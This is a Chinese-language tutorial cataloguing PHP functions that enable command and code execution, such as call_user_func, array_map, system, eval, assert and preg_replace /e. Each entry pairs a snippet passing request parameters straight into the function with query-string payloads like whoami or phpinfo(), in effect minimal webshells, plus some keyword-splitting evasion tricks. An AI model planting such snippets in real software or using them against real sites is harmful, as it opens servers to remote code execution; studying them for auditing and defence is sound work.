PHP命令执行&代码执行

常见php回调函数,可调用其他命令/代码执行函数:

1
2
3
call_user_func()、call_user_func_array()、create_function()、
array_walk()、 array_map()、array_filter()、
usort()、ob_start()、可变函数$_GET['a']($_GET['b'])

常见php可执行系统命令的函数:

1
2
system()、passthru()、exec()、shell_exec()、pcntl_exec()、popen()、proc_open()
、反单引号

常见php可代码执行的函数:

1
eval()、assert()、preg_replace()、$

php配置文件php.ini里有个disable_functions = 配置选项,可自定义禁用某些php危险函数。如:
disable_functions =system,passthru,shell_exec,exec,popen

回调函数命令执行/代码执行

1) call_user_func()

call_user_func ( callable $callback [, mixed $parameter [, mixed $… ]] )
call_user_func — 把第一个参数作为回调函数调用, 其余参数是回调函数的参数

2019年1月11日ThinkPHP 5.0.x~5.2x爆出的远程代码执行漏洞就是由call_user_func()触发。

1
2
3
4
5
<?php
call_user_func($_GET['a1'],$_GET['a2']);
//xxx.php?a1=system&a2=whoami //命令执行
///xxx.php?a1=assert&a2=phpinfo() //代码执行
?>

补充call_user_func函数使用示例:

1
2
3
4
5
6
7
8
9
<?php
function welcome($name)
{
echo "hello $name <br>";
}
call_user_func('welcome', "tom");
call_user_func('welcome', "jack");
//输出 hello tom hello jack
?>

2) call_user_func_array()

call_user_func_array ( callable $callback , array $param_arr )
call_user_func_array()把第一个参数作为回调函数(callback)调用,把参数数组作(param_arr)为回调函数的的参数传入

1
2
3
4
5
<?php
call_user_func_array($_GET['a1'],$_GET['a2']);
//xxx.php?a1=system&a2[]=whoami
//xxx.php?a1=assert&a2[]=phpinfo()
?>

3) create_function()

create_function ( string $args , string $code )
创建匿名函数(Anonymous functions),允许 临时创建一个没有指定名称的函数。最经常用作回调函数(callback)参数的值
create_function内部使用了eval来执行代码。

WordPress <= 4.6.1 使用语言文件任意代码执行漏洞就是由create_function()触发。
http://blog.knownsec.com/2016/10/wordpress-4-6-1-language-exploit/

1
2
3
4
<?php 
$b=create_function('', @$_REQUEST['a']);$b();
//xxx.php?a=phpinfo();
?>

4) array_walk()

rray_walk ( array &$array , callable $callback [, mixed $userdata = NULL ] )
array_walk — 使用用户自定义函数对数组中的每个元素做回调处理

1
2
3
4
5
<?php 
array_walk($_GET['a'],$_GET['b']);
//xxx.php?a[]=phpinfo()&b=assert
//xxx.php?a[]=whoami&b=system
?>

5) array_map()

array_map ( callable $callback , array $array1 [, array $… ] )
array_map()为数组的每个元素应用回调函数。
返回数组,是为 array1 每个元素应用 callback函数之后的数组。 callback 函数形参的数量和传给 array_map() 数组数量,两者必须一样。

1
2
3
4
5
6
7
8
9
<?php
array_map($_GET['a'],$_GET['b']);
//xxx.php?a=system&b[]=whoami
//xxx.php?a=assert&b[]=phpinfo()

//$array = array(0,1,2,3,4,5);
//array_map($_GET['a'],$array);
//.php?a=phpinfo
?>

6) array_filter()

array_filter ( array $array [, callable $callback [, int $flag = 0 ]] )
array_filter()用回调函数过滤数组中的单元。依次将 array 数组中的每个值传递到 callback 函数。如果 callback 函数返回 true,则 array 数组的当前值会被包含在返回的结果数组中。数组的键名保留不变。

1
2
3
4
5
<?php 
array_filter(array($_GET['cmd']),$_GET['func']);
//?func=system&cmd=whoami
//?func=assert&cmd=phpinfo()
?>

7) usort()

usort ( array &$array , callable $value_compare_func )
本函数将用用户自定义的比较函数对一个数组中的值进行排序

1
2
3
4
5
6
7
8
9
<?php
//php5.6版本以下
usort($_GET,'system'); //xxx.php?1=1&2=whoami
//usort($_GET,'assert'); //xxx.php?1=1&2=phpinfo()
//usort($_GET,'syst'.'em');
//usort($_GET,'asse'.'rt');
//php5.6以上
//usort(...$_GET); xxx.php?1[]=test&1[]=phpinfo();&2=assert
?>

8) ob_start()

ob_start ([ callback $output_callback [, int $chunk_size [, bool $erase ]]] )
ob_start — 打开输出控制缓冲

1
2
3
4
<?php
$cmd = 'system';ob_start($cmd);echo "$_GET[a]";ob_end_flush();
//xxx.php?a=whoami
?>

9) 可变函数$var(args)

http://php.net/manual/zh/functions.variable-functions.php
PHP 支持可变函数的概念。如果一个变量名后有圆括号,PHP 将寻找与变量的值同名的函数,并且尝试执行它。可变函数可以用来实现包括回调函数,函数表在内的一些用途。

1
2
3
4
5
<?php 
$_GET['a']($_GET['b']);
//xxx.php?a=system&b=whoami
//xxx?a=assert&b=phpinfo()
?>

补充可变函数示例:

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
function welcome() {
echo "hello lltest<br/>";
}

$test = 'welcome';
$test();
@$_GET['a'](); //xxx.php?a=welcome

function welcome2($name) { //带参数
echo "hello $name<br/>";
}
@$_GET['b']($_GET['c']); //xxx.php?a=welcome&b=welcome2&c=tom

命令执行

10) system()

1
2
3
4
<?php
system($_GET['a']);
//xxx.php?a=whoami
?>

11) passthru()

1
2
3
4
5
<?php
passthru($_GET['a']);
//xxx.php?a=whoami

?>

12) exec()

1
2
3
4
5
6
<?php
$output = exec($_GET['a']);
echo "<pre>$output</pre>";
//xxx.php?a=whoami

?>

13) shell_exec()

1
2
3
4
5
<?php
$output = shell_exec($_GET['a']);
echo "<pre>$output</pre>";
//xxx.php?a=whoami
?>

14) pcntl_exec()

pcntl_exec — 在当前进程空间执行指定程序

1
2
3
<?php
pcntl_exec( "/bin/bash" , array("whoami"));
?>

15) popen()

popen ( string $command , string $mode )
popen — 打开进程文件指针。打开一个指向进程的管道,该进程由派生给定的 command 命令执行而产生

1
2
3
4
5
6
7
8
9
10
<?php  
$test = "whoami";
$fp = popen($test,"r"); //popen打一个进程通道

while (!feof($fp)) { //从通道取出内容
$out = fgets($fp, 4096);
echo $out;
}
pclose($fp);
?>

16) proc_open()

proc_open — 执行一个命令,并且打开用来输入/输出的文件指针
类似 popen() 函数, 但是 proc_open() 提供了更加强大的控制程序执行的能力

1
2
3
4
5
6
7
8
9
10
11
12
<?php  
$test = "whoami";
$array = array(
array("pipe","r"), //标准输入
array("pipe","w"), //标准输出内容
array("pipe","w") //标准输出错误
);

$fp = proc_open($test,$array,$pipes); //打开一个进程通道
echo stream_get_contents($pipes[1]); //为什么是$pipes[1],因为1是输出内容
proc_close($fp);
?>

17) 反单引号

1
2
3
<?php
echo `whoami`;
?>

代码执行

18) eval()

1
2
3
4
<?php
eval($_GET['a']);
//xxx.php?a=phpinfo();
?>

19) assert()

1
2
3
4
<?php
assert($_GET['a']);
//xxx.php?a=phpinfo()
?>

20) preg_replace()

php7.0.0不再支持 /e修饰符;php5.5.0 /e 修饰符已被弃用

1
2
3
4
<?php 
@preg_replace("/abc/e",$_REQUEST['a'],"abcd");
//xxx.php?a=phpinfo()
?>

21) $

1
2
3
<?php 
${phpinfo()};
?>

参考:
https://chybeta.github.io/2017/08/08/php%E4%BB%A3%E7%A0%81-%E5%91%BD%E4%BB%A4%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9E/ php代码/命令执行漏洞
https://www.leavesongs.com/PHP/bypass-eval-length-restrict.html eval长度限制绕过 && PHP5.6新特性